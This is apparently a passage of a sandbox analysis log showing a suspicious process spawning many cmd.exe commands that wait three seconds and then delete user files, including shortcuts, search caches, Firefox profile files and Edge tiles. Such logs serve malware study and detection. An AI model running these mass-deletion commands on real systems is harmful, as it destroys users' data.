C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml"2⤵PID:6228
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14616
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk"2⤵PID:6248
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1344
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Microsoft Edge.lnk"2⤵PID:6264
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4964
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Shows Desktop.lnk"2⤵PID:6288
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14900
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Window Switcher.lnk"2⤵PID:6304
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4100
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\Are.docx.lnk"2⤵PID:6328
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15316
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\Files.docx.lnk"2⤵PID:6344
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3000
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\ms-gamingoverlay--kglcheck-.lnk"2⤵PID:6360
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1576
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\Opened.docx.lnk"2⤵PID:6376
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14972
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\Recently.docx.lnk"2⤵PID:6396
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15324
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\The Internet.lnk"2⤵PID:6416
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15300
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\These.docx.lnk"2⤵PID:6428
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15036
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\Fax Recipient.lnk"2⤵PID:6440
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15588
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Microsoft Edge.lnk"2⤵PID:6452
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16228
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\images\blurrect.png"2⤵PID:6468
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14868
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group1\1 - Desktop.lnk"2⤵PID:6480
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14804
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group2\1 - Run.lnk"2⤵PID:6492
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15356
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group2\2 - Search.lnk"2⤵PID:6508
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15348
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group2\3 - Windows Explorer.lnk"2⤵PID:6520
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3560
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group2\4 - Control Panel.lnk"2⤵PID:6532
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4092
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group2\5 - Task Manager.lnk"2⤵PID:6544
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16372
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group3\01 - Command Prompt.lnk"2⤵PID:6560
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:4448
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group3\01a - Windows PowerShell.lnk"2⤵PID:6588
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15468
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group3\02 - Command Prompt.lnk"2⤵PID:6620
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3332
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group3\02a - Windows PowerShell.lnk"2⤵PID:6636
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16292
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group3\03 - Computer Management.lnk"2⤵PID:6672
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16356
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group3\04 - Disk Management.lnk"2⤵PID:6692
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15752
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group3\04-1 - NetworkStatus.lnk"2⤵PID:6708
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15268
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group3\05 - Device Manager.lnk"2⤵PID:6732
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1840
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group3\06 - SystemAbout.lnk"2⤵PID:6752
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1608
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group3\07 - Event Viewer.lnk"2⤵PID:6772
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1932
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group3\08 - PowerAndSleep.lnk"2⤵PID:6792
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15164
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group3\09 - Mobility Center.lnk"2⤵PID:6820
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15712
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group3\10 - AppsAndFeatures.lnk"2⤵PID:6836
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14672
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586085280888932.txt"2⤵PID:6864
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15656
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586085966055628.txt"2⤵PID:6892
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14584
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586086206312543.txt"2⤵PID:6912
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15236
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586086279146572.txt"2⤵PID:6936
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14988
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586086489672153.txt"2⤵PID:6956
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:376
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586086519342437.txt"2⤵PID:6992
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15340
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586086580751035.txt"2⤵PID:7004
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14996
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586086778327262.txt"2⤵PID:7016
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:988
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586086798249226.txt"2⤵PID:7040
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15028
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586088054759135.txt"2⤵PID:7056
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14876
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586088680666336.txt"2⤵PID:7068
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1064
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586092157337803.txt"2⤵PID:7092
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14632
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586092457469885.txt"2⤵PID:7104
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:728
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586092759102724.txt"2⤵PID:7132
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14956
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586093118861419.txt"2⤵PID:7160
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3780
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586093532550880.txt"2⤵PID:5208
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14908
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586093718685787.txt"2⤵PID:5284
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15292
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586095008010161.txt"2⤵PID:6032
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1700
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586095322670126.txt"2⤵PID:5536
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14608
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586095622852471.txt"2⤵PID:5616
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15116
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586096481601425.txt"2⤵PID:6240
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1204
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586111424653667.txt"2⤵PID:5252
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15760
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133586114366877586.txt"2⤵PID:7188
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15800
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt"2⤵PID:7248
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3832
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk"2⤵PID:7268
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15672
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_720_POS4.jpg"2⤵PID:7296
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16364
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nzxw1g49.default-release\AlternateServices.txt"2⤵PID:7316
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2972
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nzxw1g49.default-release\pkcs11.txt"2⤵PID:7332
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2816
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\nzxw1g49.default-release\SiteSecurityServiceState.txt"2⤵PID:7344
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14648
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\6DEZ09S4\known_providers_download_v1[1].xml"2⤵PID:7360
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1928
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\GO42234Z\update100[1].xml"2⤵PID:7372
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16308
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\squaretile.png"2⤵PID:7396
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14032
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\tinytile.png"2⤵PID:7416
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16324
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\squaretile.png"2⤵PID:7456
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3984
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\tinytile.png"2⤵PID:7480
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2280
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\squaretile.png"2⤵PID:7500
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16260
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\tinytile.png"2⤵PID:7524
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15244
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\squaretile.png"2⤵PID:7552
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15284
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\tinytile.png"2⤵PID:7572
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:912
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{122bb3b4-7d41-4832-8c7d-766cfc50eb97}\0.0.filtertrie.intermediate.txt"2⤵PID:7596
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2704
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{122bb3b4-7d41-4832-8c7d-766cfc50eb97}\0.1.filtertrie.intermediate.txt"2⤵PID:7612
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16340
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{122bb3b4-7d41-4832-8c7d-766cfc50eb97}\0.2.filtertrie.intermediate.txt"2⤵PID:7628
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15824
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{17cd6afd-5a7f-4f95-a3c6-d58cd589c00b}\0.0.filtertrie.intermediate.txt"2⤵PID:7652
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14324
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{17cd6afd-5a7f-4f95-a3c6-d58cd589c00b}\0.1.filtertrie.intermediate.txt"2⤵PID:7668
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15580
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{17cd6afd-5a7f-4f95-a3c6-d58cd589c00b}\0.2.filtertrie.intermediate.txt"2⤵PID:7688
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15696
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{5b7d796b-42ab-4f4e-88b0-1a31bb688b07}\0.0.filtertrie.intermediate.txt"2⤵PID:7716
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15512
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{5b7d796b-42ab-4f4e-88b0-1a31bb688b07}\0.1.filtertrie.intermediate.txt"2⤵PID:7736
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15044
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{5b7d796b-42ab-4f4e-88b0-1a31bb688b07}\0.2.filtertrie.intermediate.txt"2⤵PID:7760
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:16284
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{7c78f2af-cc60-4ebe-917f-65cfd08ceb41}\appsconversions.txt"2⤵PID:7820
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2700
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{7c78f2af-cc60-4ebe-917f-65cfd08ceb41}\appsglobals.txt"2⤵PID:7848
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15500
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{7c78f2af-cc60-4ebe-917f-65cfd08ceb41}\appssynonyms.txt"2⤵PID:7880
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:1436
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{7c78f2af-cc60-4ebe-917f-65cfd08ceb41}\settingsconversions.txt"2⤵PID:7916
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:14140
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{7c78f2af-cc60-4ebe-917f-65cfd08ceb41}\settingsglobals.txt"2⤵PID:7940
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:15052
-
